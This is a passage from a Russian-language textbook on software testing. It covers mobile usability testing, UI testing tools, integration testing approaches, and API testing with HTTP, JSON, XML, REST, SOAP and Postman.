навигационной структурой. Компоновка элементов веб-страниц не является столь
регламентированной, как в ОШ-интерфейсах. Графика, анимация, текст в веб-
интерфейсах могут выполнять как оформительские, так и навигационные
функциональные задачи. В связи с этим возникает опасность возникновения внешнего
визуального шума и увеличения времени отклика при загрузке и раскрытии
графических файлов.
Веб-интерфейсы изначально проектировались в целях реализации информационной

поддержки пользователей. Тенденцией современности является предоставление
пользователям более широких функциональных возможностей, позволяющих не
только осуществлять чтение и перемещаться между страницами, но и решать
различные задачи. В связи с этим веб-ориентированное программное обеспечение
становится все более похожим на ОШ-ориентированное программное обеспечение в
силу наибольшего удобства и привычности первого.
3. Пользовательский интерфейс мобильных устройств (Н1Л)
Мобильные интерфейсы становятся все более популярными ввиду стремительного

развития мобильного Интернета, чему способствует рост рынка мобильных устройств
и развитие сетей 4G, обеспечивающих пользователей высокоскоростной передачей
данных. К мобильным устройствам принято относить мобильные телефоны,
смартфоны и коммуникаторы. Повседневная деятельность человека становится
неразрывно связанной с возможностями, которые предоставляют мобильные
устройства: ориентирование в городской среде посредством геолокации, совершение
покупок онлайн, банковское обслуживание и быстрые платежи через платежные
системы, коммуникация посредством социальных сетей и др.
Общий стиль интерфейса мобильного устройства можно охарактеризовать как SIMP-

интерфейс: «Экран — Пиктограмма — Меню — Указатель». На мобильных
платформах под окнами понимаются элементы интерфейса, занимающие все
пространство экрана устройства. Переход между такими окнами осуществляется при
помощи графических элементов-навигаторов или перетягиванием их при помощи
пальца (в основном большого).
Особенности проектирования мобильных интерфейсов определяются, в первую

очередь, спецификой операционной системы. Среди наиболее распространенных
операционных систем для мобильных устройств можно назвать следующие: Google
211
Android, Apple iOS, Windows Mobile, Palm OS, Symbian OS, BlackBerry OS. Ha рынке
России первую позицию занимает операционная система Android (50,65% рынка
декабрь 2014 г.), на втором месте находится iOS (43,59%), на третьем — Windows
Phone, которая становится все менее популярной (2,42%) . В рамках данной работы,
будем акцентировать внимание на программных продуктах, работающих на
платформе Android.
Методы тестирования Usability мобильных приложений
Мобильный рынок огромен и растет быстрыми темпами. По оценкам, по всему миру

около 4,5 млрд. пользуются мобильным интернетом. Прогнозируется, что число
мобильных телефонов в скором времени превысит население мира.
Именно поэтому бизнес все больше вливается в мобильную разработку и ищет ниши,
на которых можно заработать.
Если Вы хотите создать приложение для iOS или Android, то особое внимание нужно
уделить его юзабилити.
Удобство использования мобильного приложения.
На что больше всего тратят время пользователи телефонов? Недавнее исследование

показывает, что пользователи телефонов в США тратят 86% своего времени
использования смартфонов исключительно на приложения.Кроме того, было
установлено, что мобильные пользователи тратят 80%, используя только пять
приложений (из 24 приложений, которыми они обычно пользуются).
Forbes оценивает, что к следующему году пользователи загрузят почти 270

миллиардов приложений.
Для того, чтобы попасть в пятерку приложений, которыми пользуются ежедневно,

важно не только наполнение сервиса и его идея, но и его юзабилити.
Юзабилити приложений Android или iOS очень важно для пользователей, например, я
удалю приложение, если мне не будет комфортно и удобно в нем работать. Какое бы
оно полезное ни было, я загружу аналог из Google Play.
Что такое Usability мобильного приложения
Общая тенденция среди успешных приложений для мобильных телефонов

заключается в том, что пользователи воспринимают их интуитивно, как легко
обучаемые, удобные и менее трудоемкие при выполнении задач.
Несмотря на важность удобства использования мобильных приложений, принципы

юзабилити не составляют согласованный список к руководству. Поэтому лучший
способ оценить удобство использования мобильных приложений - это тестирование
212
юзабилити.
Прежде чем тестировать сервис, нужно разработать план тестирования юзабилити.

Обычно он содержит следующие разделы:
Цели и задачи теста.

Вопросы исследования.
Характеристики приложения.
Метод тестирования.
Список заданий.
Испытательная среда, оборудование и логистика.
Собираемые данные и меры оценки.
Презентация отчета.
Методы оценки юзабилити разные у разных команд и тестировщиков. Например,

Дэвид Трэвис из User Focus предлагает такой план тестирования:
Цели теста.
Задачи, которые будет выполнять приложение.
Тестовые документы (форма содержания, сценарий ориентации, анкеты до и
после тестирования).
Участники теста.
Метод испытания.
Цели теста юзабилити
213
Первый шаг любого тестирования юзабилити - обозначить цели.
На какие вопросы Вы хотите ответить с помощью теста юзабилити? Какую гипотезу Вы

хотите протестировать с помощью теста юзабилити?
Итак, как же установить цели? Майкл Марголис из Google Ventures предлагает задать
несколько вопросов заинтересованным сторонам приложения (в том числе и
разработчикам):
Road map приложения.

Пользователи и рынки, на которые нацелено приложение (целевая аудитория).
Конкуренты приложения.
Исследования, которые уже были выполнены.
Потенциальное влияние вышеупомянутых исследований.
Сроки и масштаб.
Полученные ответы дадут вам две очень важные вещи:
Что заинтересованные стороны уже знают.

Что они хотели бы знать.
Исходя из ответов на вопросы, теперь легче начать определять цели и показатели

юзабилити.
Также очень важно, чтобы выявленные цели были конкретными, измеримыми и

расположенными по приоритету
214
Задачи, которые будет выполнять приложение
Как только цели будут установлены, настало время перейти к следующему этапу -
задачи. Формулировка должна состоять из взаимодействий, которые должны
выполняться пользователями, например:
Зарегистрировать аккаунт.
Войти в свой аккаунт.
Загрузить фото.
Принять запрос друга.
Задачи должны быть преобразованы в сценарии. Они обеспечивают больше контекста

для участника тестирования и больше похожи на естественные взаимодействия,
которые типичный пользователь будет выполнять с Вашим приложением. В этом
отношении заданные сценарии задач должны быть:
1) Реалистичными, действенными и без каких-либо подсказок о том, как конкретно их

выполнять (если тестируемый не сможет понять, как выполнить действие,
следовательно, Ваш сервис не интуитивно понятный);
2) Происходит в последовательности, которая обеспечивает плавный поток тестового

сеанса.
Как и при любой форме тестирования, очень важно выполнить сухой тест на
юзабилити, чтобы гарантировать, что выполнение задач в конечном итоге достигнет
поставленных целей.
Участники тестирования
Юзабилити мобильных приложений ориентировано на пользователя. Это означает, что

реальные пользователи выполняют реалистичные задачи, связанные с приложением.
Хотя тестирование с реальными пользователями является более ресурсоемким, это
дает более точные результаты.
Мы рекомендуем рекрутировать участников тестов, которые используют свои

устройства не менее 3 месяцев. Это позволит преодолеть любые трудности,
связанные с использованием устройства, а не с самим приложением. В дополнение к
этому, использование собственных устройств участников теста позволит выявлять
больше проблем, поскольку они будут использовать реальные устройства, а не
устройства верхнего уровня и быстрые интернет-соединения, которые обычно
доступны в средах разработки.
Помните о том, что подбирать нужно участников, которые соответствуют целевой

аудитории приложения. Вы можете создать пользовательского персонажа, описать его
характеристики и подбирать участников тестирования в соответствии с портретом
215
персонажа.
Методы юзабилити тестирования
Существует два основных метода проведения юзабилити-тестирования мобильных

приложений
Лабораторное тестирование юзабилити.

Удаленное тестирование юзабилити.
216
Лекция 7, ч.2. Программное обеспечение, применяемое при тестировании UI
Программное обеспечение,
применяемое при тестировании UI
Для тестирования пользовательского интерфейса, в зависимости от поставленных
задач, можно ограничится такими программами, как Photoshop (путем наложения
существующей web-страницы на макет) и экранной линейкой, типа mySize, с помощью
которой можно легко узнать размеры элементов на экране монитора.
Для тестировщика могут быть полезны такие расширения Chrome:
Screen Ruler - помогает измерять высоту, ширину и поля у объектов, просто

накладывая поверх них линейку и перетаскивая ее в нужном направлении.
What Font - позволяет проверять косметические дефекты вроде типа и размера

шрифта на страничке. Это расширение позволяет легко искать шрифты. Просто
наведите курсор на любой шрифт и оно покажет Вам, какой именно шрифт тут
применен.
Color Zilla - позволяет определить прямо из браузера, какой конкретно цвет

используется на Вашей страничке. Полезное расширение, когда Вам нужно
сверить реально используемые цвета со спецификацией.
217
Perfect Pixel - замена Photoshop, позволяет прямо в браузере наложить

полупрозрачное изображение поверх вашей странички и провести попиксельный
анализ.
IE Tab - один из самых популярных IE-эмуляторов. С помощью этого расширения

Вы можете тестировать Ваш сайт в разных версиях IE, полезное расширение для
кросс-браузерного тестирования, когда нет возможности установить IE.
218
Spell Checker - расширение для проверки орфографии. Проверяет, правильно ли

написаны слова на странице, и предлагает внести правки для слов с опечатками,
поддерживает 12 языков, имеется возможность добавлять свои слова в его
словарь.
Grammarly – приложение, которое помогает с вычиткой текста, проверяет

орфографию и грамматику и подсвечивает ошибки прямо в браузере.
Существуют профессиональные инструменты для тестирования пользовательского

интерфейса, которыми пользуются чаще всего frontend-разработчики, а также они
распространены для автоматизации данного вида тестирования:
FitNesse:
219
Это инструмент для совместной разработки программного обеспечения. Он позволяет

клиентам, тестировщикам и программистам изучить то, что должно сделать их
программное обеспечение, и автоматически сравнить с тем, что программное
обеспечение фактически делает.
При помощи данного инструмента можно определить приемочные тесты web-

страницы, содержащие простые таблицы входов и ожидаемых выходов, запустить эти
тесты и посмотрите результаты.
FitNesse – это своего рода wiki, где можно создавать и редактировать страницы.
Поддерживает большинство современных языков программирования (.Net, Java,

Python, Ruby, C++, …).
iMacros:
Это программа, которая позволяет сохранять и воспроизводить действия

пользователя. Распространяется как в виде отдельного ПО, так и в виде расширений
для браузеров Mozilla Firefox, Google Chrome и Internet Explorer. Расширение способно
работать с сайтами, реализованными при помощи технологий Java, Flash, Flex, Ajax и
Silverlight.
Сервисы и инструменты для тестирования

отзывчивого дизайна.
mattkersley.com
Это первый сервис, который я открыл для себя. Очень удобно спроектирован. Можно
посмотреть все варианты разрешений на одной странице.
Responsive Design Bookmarklet
220
Интересный сервис для тестирования адаптивной верстки и с отличным дизайном,

хотя я не сразу интуитивно понял, как начать работать с ним. Чтобы протестировать
страницу, ее нужно сначала открыть в отдельной вкладке браузера, перейти на
страницу сервиса и мышкой перетащить кнопку «RWD Bookmarlket» на вкладку в
браузере, в которой открыт Ваш сайт. Вверху страницы появится панель с иконками
девайсов. При клике на любое устройство рабочая область будет принимать размеры
этого устройства. При переключении устройств следует нажать на кнопку обновления
на этой же панели.
quirktools.com
Один из наиболее приятных в использовании сервисов для тестирования адаптивных

сайтов. В нем сочетается отличный дизайн, множество возможностей и удобство
использования. Инструмент позволяет тестировать страницы на устройствах,
разделяемых не только разрешением экрана, но и производителем, моделью девайса
и т. д. Плюс ко всему, можно скопировать ссылку и отправить ее заказчику, который
заказывал у вас адаптивную верстку.
221
Deviceponsive
Сервис для тестирования и презентации адаптивной верстки. Позволяет отобразить

сайт в разных устройствах. В первую очередь, его предназначение не для
тестирования, а для презентации работы. Можно настроить цвет фона, загрузить
логотип студии и сделать скриншот с помощью любого плагина для браузера, который
может захватить всю страницу целиком. Далее можете загрузить скрин в портфолио
или отправить заказчику.
Сервисы и инструменты для

кроссбраузерного тестирования.
222
Adobe BrowserLab
Adobe BrowserLab — бесплатный инструмент тестирования кроссбраузерности,

позволяющий протестировать сайт в современных и некоторых устаревших браузерах,
включая различные версии Chrome, Safari, IE и Firefox. Просмотр возможен в
нескольких режимах: полноэкранном, в режиме сравнения, а также в режиме
«наложенных слоёв». Сервис может получать доступ к страницам, размещённым в
интернете, или работать локально, как дополнение к Firebug или Adobe Dreamweaver
CS5. Возможность создания наборов браузеров для тестирования очень полезна, если
нет необходимости тестирования в устаревших браузерах.
Browsershots
Browsershots, вероятно, обладает самым широким набором браузеров среди

бесплатных инструментов тестирования. Он включает в себя браузеры, работающие в
Linux, Windows и BSD. Среди них есть такие, о которых Вы, вероятно, вообще никогда
не слышали (например, Galeon, Iceape, Kazehakase или Epiphany). Browsershots
позволяет тестировать как в последних версиях каждого браузера, так и в устаревших
версиях.
Хотя Browsershots позволяет тестировать в огромном «зоопарке» браузеров, стоит

помнить, что, чем больше набор браузеров для тестирования, тем дольше придётся
ждать результата. Поэтому стоит остановиться на основных браузерах.
223
IE Tester
IE Tester — бесплатный (как для частного, так и для профессионального

использования) браузер для Windows, позволяющий тестировать сайт в IE 5.5, IE 6, IE
7, IE 8, IE 9 и IE 10 Previev. Можно тестировать как рендеринг HTML+CSS, так и
JavaScript. Доступна только альфа-версия инструмента. Работает на Windows 7,
Windows Vista и Windows XP c установленным IE не ниже 7-й версии.
Встроенные инструменты браузеров.
Firefox, Web Developer Toolbar, вкладка Resize , пункт меню View Responsive Layouts.
224
https://addons.mozilla.org/ru/firefox/addon/web-developer/
Плагин Web Developer Toolbar предоставляет веб-разработчику множество вариантов
для тестирования сайта. Среди них есть отдельная закладка Resize в которой можно
через Edit Resize Dimensios добавить расширений для изменения размера окна, или
нажав на View Responsive Layouts увидеть как ваш сайт будет отображаться для
наиболее популярных расширений.
Google Chrome
Для этого браузера есть большое количество расширений для тестирования

responsive верстки. Пожалуй, даже больше, чем для браузера Firefox.
Основное расширение для Google Chrome - это Window Resizer и порядка 12 похожих
расширений.
225
Resize Window
Viewport Resizer
Расширения, как правило, работают таким образом, что изменяют или размер browser
(разрешение), или размер viewport (внутри окна browser).
226
Лекция 8, ч.1. Интеграционное тестирование
Интеграционное тестирование
Интеграционное тестирование (в общем случае) - это вид тестирования, при
котором проверяется взаимодействие модулей между собой, а также интеграция
подсистем в одну общую систему.
Для интеграционного тестирования используются компоненты, уже проверенные с

помощью модульного тестирования.
Модули соединяются между собой с помощью так называемых интерфейсов.

Интерфейс - это граница между двумя функциональными модулями, например:
Между двумя модулями одной подсистемы может быть налажено взаимодействие

через интерфейс, который определяет способы взаимодействия модулей между
собой.
Между клиентом и сервером (согласно клиент-серверной архитектуре)
реализуется интерфейс, с помощью которого передаются данные от клиента
серверу и обратно.
Между двумя различными приложениями многосоставной системы налаживается
"общение" с помощью интерфейсов.
Основная цель интеграционного тестирования - проверить интерфейсы между

модулями.
Важно понимать, что в рамках интеграционного тестирования не проверяются end-to-

end бизнес сценарии.
Так как в процессе тестирования у нас нет потребности рассматривать внутреннюю

структуру каждого компонента в отдельности, можно утверждать, что интеграционное
тестирование выполняется методом «черного ящика».
Уровни интеграционного тестирования
Различают два основных уровня интеграционного тестирования:
1. Компонентный;
2. Системный.
На компонентном уровне интеграционного тестирования проверяется взаимодействие

между компонентами системы после проведения компонентного тестирования.
Другими словами, проверяется, насколько корректно взаимодействуют
протестированные в отдельности модули между собой.
227
На системном уровне проверяется взаимодействие между разными системами после

проведения системного тестирования.
Подходы к интеграционному тестированию
Снизу вверх (Bottom Up Integration)
Все низкоуровневые модули, процедуры или функции собираются воедино и затем

тестируются. После чего собирается следующий уровень модулей для проведения
интеграционного тестирования. Это продолжается до тех пор, пока не будут
интегрированы все модули и конечная система не образует единый модуль.
В случае, представленном на изображении выше, модули B1C1, B1C2, B2C1 и B2C2

являются самыми "низкими" модулями и протестированы отдельно друг от друга с
помощью модульного тестирования. Модули B1 и B2 еще не разработаны. В связи с
тем, что разработка модулей B1 и B2 находится в процессе, то для тестирования
необходима программа, которая обращалась бы к функциям модулей B1C1 и B2C2.
Такие программы называются драйверами и представляют собой функции, которые
обращаются к функциям более низких уровней. Драйверы необходимы для того, чтобы
с помощью интерфейсов вызывать в рамках тестирования более низкие модули.
Данный подход считается полезным, если все (или практически все) модули
разрабатываемого уровня готовы. Также данный подход помогает определить уровень
готовности приложения по результатам тестирования.
Подход "Снизу-Вверх" позволяет обнаружить дефекты на ранних этапах и позволяет

просто локализовать сами дефекты и причины их возникновения.
Недостатком такого подхода является то, что приходится тестировать модули еще до
того, как будет реализована "главная" программа, что, соответственно, требует
технических навыков.
Сверху вниз (Top Down Integration)
228
Вначале тестируются все высокоуровневые модули, и постепенно, один за другим,

добавляются низкоуровневые. Все модули более низкого уровня симулируются
заглушками с аналогичной функциональностью, затем, по мере готовности, они
заменяются реальными активными компонентами. Таким образом, мы проводим
тестирование сверху вниз.
Большой взрыв ("Big Bang" Integration)
Все (или практически все) разработанные модули собираются вместе в виде

законченной системы или ее основной части и затем проводится интеграционное
тестирование. Другими словами, тестирование начинается от середины схемы
модулей (для картинки выше) и двигается в обе стороны одновременно.
Такой подход очень хорош для сохранения времени. Однако если тест кейсы и их
результаты записаны не верно, то сам процесс интеграции сильно осложнится, что
станет преградой для команды тестирования при достижении основной цели
интеграционного тестирования. Так же данный подход требует больше ресурсов, в
связи с его сложностью.
В целом, для проведения хорошего интеграционного тестирования необходимо:
1. Знать архитектуру приложения;

2. понимать назначение модулей;
3. понимать, как данные передаются из одного модуля в другой;
4. определить условия, при которых происходит взаимодействие между модулями;
5. разрабатывать отдельные тесты на каждое из условий.
229
Лекция 8, ч.2. Тестирование API
Тестирование API
API (Application Programming Interface) расшифровывается как “интерфейс
прикладного программирования” или “интерфейс программирования приложений”. Он
позволяет осуществлять связь и обмениваться данными между двумя отдельными
модулями программы. Система программного обеспечения, реализующая API,
содержит функции/подпрограммы, которые могут быть выполнены с помощью другого
программного обеспечения.
"Общение" между модулями приложения происходит с использованием стандартных

форматов XML и JSON и посредством специальных протоколов REST и SOAP.
Например, некое приложение, сервис предоставления данных о прогнозе погоды -

имеет API, которым могут пользоваться разработчики. То, каким образом разработчики
будут пользоваться, зависит от возможностей API. Например, может ли API выдавать
данные о прогнозе погоды на неделю вперед, по каким городам мира выдаются
данные, возможно ли запросить такие данные, как скорость ветра, давление и т.д.
Форматы данных
Как и говорилось выше, основные форматы, которые используются для передачи

данных в API - это JSON и XML. На изображении ниже представлена одна и та же
информация в разных форматах.
230
В JSON существуют типы данных, которые записываются по-разному. Данные в JSON

записываются парами "Ключ":"Значение". Например:
{“name”:”JamesKirk”}
Имя параметра — это строка в двойных кавычках слева от двоеточия.
{“name”}
Значение — может быть строкой в двойных кавычках, числом, логическим значением

(true или false), объектом, массивом, или значением null. Эти структуры могут быть
вложены друг в друга.
{”JamesKirk”}
Объект — это множество пар "Ключ":"Значение", заключённое в фигурные скобки { }.

Между именем параметра и значением стоит двоеточие ":", а пары "Ключ":"Значение"
разделяются запятыми “,”.
“name”:”JamesKirk”,
"age":40
231
Строка — это упорядоченное множество из нуля или более символов Unicode,

заключенное в двойные кавычки.
Массив — это множество объектов. Массив заключается в квадратные скобки [ ], а

значения отделяются запятыми (см. пример на изобрежнии выше).
В XML данные хранятся между так называемыми "тэгами".
Существуют открывающие и закрывающие тэги, а данные, в свою очередь, хранятся

между ними.
Например:
<note> - открывающий тэг;
</note> - закрывающий тэг.
Примечательно то, что тэги чувствительны к регистру. Другими словами, нельзя

использовать открывающий тэг <MESSAGE> и закрывающий тэг </message>. XML
воспринимает это как разные тэги.
Более подробно о принципах построения XML можно изучить в официальной

документации тут.
XML является более громоздким форматов данных и все больше разработчиков API от
него отказываются.
Понятие HTTP
HTTP (Hyper Text Transfer Protocol) – широко распространённый протокол передачи
данных, изначально предназначенный для передачи гипертекстовых документов. По
умолчанию используется 80-ый порт.
HTTPS (Hyper Text Transfer Protocol Secure)— безопасный протокол передачи

гипертекста. Это расширение протокола HTTP, поддерживающее шифрование
посредством криптографических протоколов SSL и TLS. По умолчанию используется
443-ий порт.
Спецификация HTTP (и HTTPS) определяет то, как запросы к серверу должны быть
построены, и то, как сервер должен отвечать на эти запросы.
Основные свойства HTTP:
Не зависит от соединения. Для отправки запроса клиент устанавливает

соединение с сервером и отсоединяется после отправки запроса. Сервер, в свою
232
очередь, обрабатывает запрос и устанавливает соединение с клиентом для

отправки ответа и отсоединяется после нее. Ни клиент, ни сервер не "знают"
ничего о состоянии друг друга до начала соединения и после его окончания.
Не привязан к конкретному типу данных. Можно передавать любой тип данных
при условии, что и клиент, и сервер способен работать с выбранным типом
данных.
Взаимодействует только через соединение. Клиент и сервер могут
взаимодействовать друг с другом только с помощью запроса. Из-за этой
особенности ни клиент, ни сервер не могут получить информацию за пределами
запроса.
Запросы HTTP
Клиент отправляет запрос на сервер в виде метода, URL и версии протокола, после
которого идет некоторое сообщение, которое и содержит данные запроса.
Разберем подробнее каждую из частей запроса.
Method (метод) - это действие, которое мы хотим произвести над ресурсом на

сервере. Их достаточно большое количество, но выделим основные 4:
GET - предназначен для получения ресурса с сервера;

POST - отправляет данные на сервер с созданием новой записи;
PUT - отправляет данные на сервер с перезаписью существующей записи;
DELETE - удаляет данные ресурса.
233
GET POST PUT DELETE
Только
Может получать и Перезаписывает Удаляет
получает
отправлять данные существующий указанный
данные
ресурса ресурс ресурс
ресурса
Данные могут
Передает
Передает данные в Передает данные в передаваться в
данные в
теле запроса теле запроса теле и в URL
URL
запроса
Имеет
Нет
ограничение Нет ограничений по Нет ограничений по
ограничений по
на длину 255 длине длине
длине
символов
Можно
Можно использовать Можно использовать Можно
использовать
символы любой символы любой использовать
только
кодировки и кодировки и только
символы
передавать файлы передавать файлы символы ASCII
ASCII
Не
безопасен
(нельзя Более безопасен Более безопасен Не безопасен
передавать
пароли)
Request URI - строка запроса, которая содержит последовательность символов к

ресурсу, а также (опционально) параметры запроса, которые могут передаваться
прямо в строке запроса (например, для GET).
Для передачи параметров в строке запроса необходимо следовать ряду определенных

правил:
Параметры отделяются от адреса символом "?".

Каждый параметр задается парой "Ключ" и "Значение".
"Ключ" и "Значение" разделены между собой символом "=".
При необходимости задать несколько параметров в одной строке запроса, они
отделяются друг от друга символом "&".
Например, в строке запроса http://example.com/path/to/page?name=ferret&color=purple:
http://example.com/ - базовый адрес (base URL), с которого будут начинаться все

запросы;
/path/to/page - путь к ресурсу относительно базового адреса;
Параметр name со значением ferret;
Параметр color со значением purple.
234
Стоит отметить, что данные в строке запроса должны передаваться в специальной

кодировке - URL Percent Encoding. Таким образом, чтобы передать в строке запроса,
например, символы кириллицы, необходимо перевести их в этот формат. В сети
существует множество инструментов, позволяющих легко перевести строку запроса в
нужный формат.
Protocol version - версия протокола HTTP (практически всегда используется

HTTP/1.1).
Headers (заголовки или "хедеры") - часть запроса, в которой хранится необходимая

для выполнения запроса информация от клиента.
Заголовки представляют пары "Ключ":"Значение". Они содержат различную

информацию о HTTP-запросе и Вашем браузере. Например, строка "User-Agent"
предоставляет информацию о версии браузера и операционной системе, которую Вы
используете. "Accept-Encoding" сообщает серверу, может ли Ваш браузер принимать
сжатый output, например, gzip.
В свою очередь, ответ сервера так же содержат заголовки. Эти значения могут
содержать информацию о софте сервера при последнем изменении страницы/файла
и прочее. Опять же, большинство этих headers на самом деле являются
необязательными.
Кроме этого, сервер отправляет так же код состояния (statuscode) ответа. Коды
состояния делятся на 5 групп:
1хх Информационные
2хх Успешные
3хх Перенаправление
4хх Ошибки клиента
5хх Ошибки сервера
Полный список кодов ошибок из каждой группы и их описание можно посмотреть тут.
Body (тело запроса) - опциональное поле, в котором передается вся необходимая

информация, которую нужно передать на сервер.
Рассмотрим выполнение запросов на примерах.
Общим предусловием для всех примеров будет наличие сайта https://reqres.in,

который позволяет производить различного рода действия над пользователем. В
данном случае, https://reqres.in - это базовый адрес (base URL), к которому будут
добавляться пути к ресурсам.
235
GET запрос. Имеет функцию получения списка пользователей. Задача данной

функции - отображать список пользователей по три записи на странице.
GET /api/users?page={page_number}
Получим список пользователей для второй страницы:
Как мы видим, в поле ниже мы получили ответ в формате JSON, который содержит 3
записи о пользователях.
POST запрос. Функция используется для входа в приложение и возвращает ответ со

значением токена авторизации.
POST /api/login
Параметры тела запроса:
email – новое имя пользователя;
password – новая профессия пользователя.
Вызов функции и ответ сервера будет выглядеть таким образом:
236
В данном примере строка запроса не содержит параметров. Body запроса же в свою

очередь содержит два параметра - email и password. Ответ функции содержит Body с
токеном авторизации пользователя.
PUT запрос. Функция изменения данных пользователя. Возвращает ответ с

измененными данными пользователя и датой изменения.
PUT /api/users/{user_id}
Параметры тела запроса:
name – новое имя пользователя;
job – новая профессия пользователя.
Подставив параметры в URI и тело запроса, получим:
237
DELETE запрос. Функция удаления данных пользователя. Функция возвращает пустой

ответ и код 204 (No Content)
DELETE /api/users/{user_id}
Тело запроса не содержит данных.
Подставив нужный идентификатор пользователя в строку запроса, удалим его данные:
238
Понятие REST
REST (Representational state transfer) - подход к разработке клиент-серверных
приложений.
Приложения на REST архитектуре должны быть:
Клиент-серверными.
Взаимодействие между клиентом и сервером должно быть на HTTP.
Все операции над ресурсами указываются в самих запросах. В архитектуре REST
все данные являются "ресурсами" Все, что необходимо сделать с ресурсом в
архитектуре REST, несется в самом запросе.
Stateless – состояние клиента не сохраняется на сервере. Каждый раз, при
обращении клиента к серверу, сервер воспринимает клиента как нового. Для
аутентификации клиента на сервере могут использоваться cookies, например:
сookies предоставляет дополнительную информацию от клиента пользователю
(позиции в корзине пользователя в интернет-магазине).
Возможность работать с любыми форматами данных (json, xml, text…).
Понятие SOAP
SOAP (Simple Object Access Protocol) является стандартизированным протоколом
передачи сообщений между клиентом и сервером. Обычно он используется совместно
с HTTP(S), но может работать и с другими протоколами прикладного уровня
(например, SMTP и FTP).
239
В отличие от REST, который может использовать любые форматы данных, SOAP

работает только с XML форматом. При работе всегда удобно иметь
стандартизированное описание возможных XML-документов и проверять их на
корректность заполнения. Для этого существует XML Schema Definition (или
сокращенно XSD). Две главные функции XSD для тестировщика – это описание типов
данных и наложение ограничений на возможные значения. Например, некоторые
элементы ответов сервера можно сделать необязательным для заполнения или
ограничить его размер 255 символами с помощью XSD. Чем подробнее описан XSD,
тем меньше головной боли доставит Вам тестирование сервиса. С помощью
выстроенной схемы сервис сам сможет валидировать полученные данные и
возвращать пользователю ошибку. Подробнее прочитать про XSD можно на w3schools
и codenet (по-русски).
WSDL
(Web Services Description Language) – это язык на основе XML, который
используется для описания веб-сервисов. В WSDL-документе содержится информация
о местонахождении сервиса и доступных методах (операциях). Для каждого метода
определяются параметры отправляемого и получаемого сообщения. Обратите
внимание на то, что XSD может быть «встроен» внутрь WSDL-документа (например, у
Yandex Speller API).
Типы тестов, применимые к тестированию

API
В целом, к тестированию API применимы следующие типы тестов:
Функциональное тестирование – тесты должны выполнить набор вызовов,

задекларированных в API, чтобы проверить общую работоспособность системы.
Usability-тестирование – проверяет, является ли API функциональным и обладает
ли удобным интерфейсом, также проверяется интеграция с другими.
Тестирование безопасности – проверяет используемый тип аутентификации и
шифрование данных с помощью HTTP.
Автоматизированное тестирование – создание скриптов, программ или
настройка приложений, которые смогут тестировать API на регулярной основе.
Тестирование документации– проверяется полнота описаний функций API, её
понятность.
При тестировании API необходимо проверять следующие моменты:
Правильный ли метод используется для того или иного запроса?
240
Проверяйте, что клик по одной и той же кнопке вызывает один и тот же запрос.
Вникайте в отправляемые запросы. Анализ запросов – это возможность
обнаружить спрятавшийся дефект гораздо быстрее, чем осуществляя его поиск в
интерфейсе.
Мониторьте трафик на предмет запросов на другие сервера.
Внимательно следите за кодами состояний
С помощью тестирования API можно обнаружить следующие типы ошибок:
Сбой обработки ошибочных условий при передаче корректных и некорректных

данных в запросах.
Неиспользуемые флаги в параметрах запросов.
Отсутствующая или дублирующаяся функциональность.
Вопросы надежности: трудности при подключении и получении ответа от API.
Проблемы с безопасностью.
Проблемы многопоточности.
Лучшие практики тестирования API:
Тест-кейсы должны быть сгруппированы по тестовым категориям.

Каждый тест должен включать декларацию тестируемой функции.
Выбор параметров должен быть явно упомянут в самом тесте.
Установка приоритетов вызова функций API.
Каждый тест должен быть самодостаточным и независимым друг от друга.
Особую осторожность следует соблюдать при обращении к функциям удаления,
закрытия окна и прочим.
Вызов последовательности действий должен быть хорошо спланирован и
выполнен.
Для обеспечения полного тестового покрытия создавайте тестовые случаи для
всех возможных комбинаций входных данных.
Так же мы можем использовать такие общепринятые техники, как анализ граничных

значений и разбиение на классы эквивалентности. В API запросах в явном виде могут
передаваться значения параметров. Это отличный повод выделить границы входных и
выходных значений и проверить их. Даже у небольшого API есть множество вариантов
использования и множество комбинаций входных и выходных переменных. Поэтому
мы можем лишний раз использовать наши навыки выделения эквивалентных классов.
Тестирование API обладает рядом преимуществ перед обычным тестированием

через UI:
Точное понимание, где происходит ошибка и чем она вызвана.

Тратится меньше времени на подготовку тестовых данных.
Возможно выполнение тестов на больших объемах данных с приемлемой
241
скоростью.
Можно начать тестирование на ранних этапах, когда еще нет интерфейса
Проблемы, с которыми сталкиваются тестировщики при работе с API:
Комбинация и выбор параметров.

Отсутствие графического интерфейса.
Валидация и верификация выходных данных в разных системах.
Обязательная проверка обработки исключений.
Тестировщикам необходимы знания в программировании.
242
применяемое при тестировании API
Postman
Postman - REST-клиент, который изначально представлял собой плагин для браузера

Chrome, но позже появился так же в виде десктопных версий для Mac и Windows.
Postman позволяет составлять и отправлять запросы на сервер и получать ответы с

последующей их проверкой, а так же указывать cookies и заголовки запросов.
При установке Postman содержит заранее настроенные запросы (коллекция Postman

Echo) для более легкого старта тестирования API.
В программе есть встроенный редактор запросов с возможностями кодирования

запросов, загрузки из файла и отправки бинарных данных.
Настройка Postman для работы
Postman позволяет составлять запросы, используя окружения. Представьте, что у вас

есть три тестовых стенда: dev, test и production стенды. У каждого из них отличаются
базовые адреса, но сами запросы к ресурсам одинаковы. Для удобства можно
использовать так называемые окружения, в которых будут созданы переменные,
содержащие базовые адреса каждого из стендов.
Для начала необходимо нажать на иконку в правом углу, а затем выбрать Manage
Environments.
243
Затем необходимо нажать на кнопку Add, дать название окружению и создать

необходимые переменные.
Созданное окружение будет доступно в выпадающем списке справа. Выбрав одно из

них, нам будут доступны все переменные этого окружения.
После этого можно использовать переменные, просто указав их имя в двойных

фигурных скобках. Таким образом, Вы можете создать переменную base_url, к
примеру, в каждой среде и, переключаясь между средами в процессе тестирования,
Вам не нужно будет менять начальные части ссылок.
244
Составление запросов
Составление и редактирование запросов достаточно простое.
Для того, чтобы написать запрос, необходимо выбрать HTTP-метод из выпадающего

списка и написать URL. В Postman реализована функциональность ввода параметров
URL в виде "Ключ-Значение", галочками можно управлять использованием того или
иного параметра в данный момент.
Хэдеры запроса указываются на соответствующей вкладке и их так же можно вводить

в виде пар "Ключ-Значение".
Тело запроса формируется на вкладке Body. Здесь можно указать формат ввода
параметров тела запроса, например, так же указывать параметры в виде "Ключ-
Значение", JSON, XML, отправка файлов или даже обычный текстовый формат.
245
После составления и отправки запроса необходимо нажать кнопку Send. Каждый

выполненный запрос сохраняется на вкладке History, и таким образом можно будет
вернуться к выполненному запросу при необходимости.
Ответы сервера отображаются чуть ниже запроса. Здесь так же можно отдельно
посмотреть хедеры, тело запроса, куки, время выполнения запроса и код HTTP-ответа.
246
SoapUI
Тестирование SOAP практически всегда подразумевает использование SoapUI.
Прочитать про использование этого инструмента можно в разных источниках (источник
